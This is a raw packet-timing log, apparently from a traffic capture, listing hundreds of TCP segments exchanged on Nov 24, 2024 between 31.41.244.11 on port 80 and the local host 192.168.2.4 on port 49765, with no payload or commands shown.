Nov 24, 2024 12:24:16.360754013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.360797882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.360851049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.360894918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.361679077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.361723900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.361783981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.361824989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.362590075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.362648964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.362672091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.362713099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.363491058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.363542080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.363600016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.363641977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.364408970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.364454031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.364526987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.364574909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.365356922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.365401030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.365458012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.365499973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.366275072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.366323948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.366395950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.366441011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.367186069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.367234945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.367285967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.367336988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.368073940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.368119955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.368190050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.368232012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371083021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371156931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371164083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371176958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371211052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371227980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371287107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371335030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371345997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371352911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371390104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371885061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371932030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.371953011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.371992111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.372694969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.372761011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.372781992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.372824907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.373574018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.373619080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.373672962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.373717070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.374486923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.374531984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.374586105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.374627113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.375430107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.375477076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.375499010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.375545025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.376319885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.376364946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.376416922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.376456022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.377229929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.377270937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.377290964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.377331972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.378170013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.378213882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.378281116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.378320932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.379071951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.379120111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.379179001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.379225016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.380119085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.380160093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.380175114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.380214930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.380924940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.380984068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.381006956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.381051064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.381823063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.381867886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.381886959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.381931067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.382766008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.382838011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.382857084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.382903099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.383651972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.383707047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.383753061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.383797884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.384584904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.384639978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.384661913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.384700060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.385498047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.385554075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.385612965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.385652065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.386375904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.386421919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.386492968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.386532068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.387339115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.387386084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.387435913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.387474060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.388237000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.388325930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.388344049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.388505936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.389152050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.389197111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.389255047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.389300108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.390065908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.390108109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.390175104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.390214920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.390975952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.391021967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.391078949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.391120911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.391937971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.391980886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.392020941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.392061949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.392817020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.392884970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.392908096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.392954111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.393755913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.393804073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.393847942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.393894911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.394638062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.394689083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.394712925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.394758940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.395559072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.395608902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.395668983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.395718098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.396478891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.396524906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.396584034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.396629095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.397423029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.397469997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.397536993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.397581100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.398355007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.398402929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.398473978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.398521900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.399224997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.399269104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.399352074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.399394989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.554773092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.554888010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.554960012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.554960966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.555207014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.555254936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.555284977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.555327892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.555861950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.555907011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.555974007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.556015968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.556787968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.556833982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.556852102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.556893110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.557775021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.557817936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.557881117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.557924032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.558624029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.558666945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.558729887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.558779001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.559534073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.559576988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.559648991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.559689999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.560477018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.560519934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.560587883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.560632944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.561362982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.561408043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.561573982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.561614037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.562318087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.562361002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.562383890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.562427998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.563210011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.563252926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.563318968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.563359976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.564126968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.564171076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.564233065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.564275980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.565028906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.565093040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.565129042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.565171003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.565948009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.565989971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.566060066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.566104889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.566903114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.566951036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.567003012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.567047119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.567796946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.567838907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.567917109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.567960978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.568712950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.568757057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.568813086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.568856001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.569628954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.569674969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.569747925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.569792986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.570538998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.570580959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.570643902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.570687056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.571439981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.571487904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.571551085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.571594954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.572462082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.572479963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.572504997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.572521925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.573281050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.573327065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.573395967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.573438883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.574223042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.574268103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.574286938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.574327946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.575123072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.575186968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.575233936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.575275898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.576006889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.576047897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.576121092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.576164007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.576931953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.576975107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.577034950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.577079058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.577858925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.577900887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.577970982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.578012943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.578782082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.578825951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.578896046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.578939915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.579706907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.579751015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.579821110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.579863071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.580610991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.580653906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.580703020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.580748081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.581547976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.581589937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.581638098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.581684113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.582452059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.582499027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.582571983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.582613945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.583353043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.583395958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.583461046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.583503008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.584351063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.584393978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.584454060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.584497929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.585195065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.585262060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.585300922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.585344076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.586129904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.586179018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.586253881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.586297989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.587014914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.587057114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.587075949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.587119102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.587969065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.588011980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.588073015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.588115931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.588867903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.588911057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.589016914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.589060068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.589812994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.589864969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.589884043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.589921951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.590683937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.590728045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.590792894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.590836048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.591603994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.591650009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.591746092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:16.591789961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:16.592516899 CET	80	49765	31.41.244.11	192.168.2.4
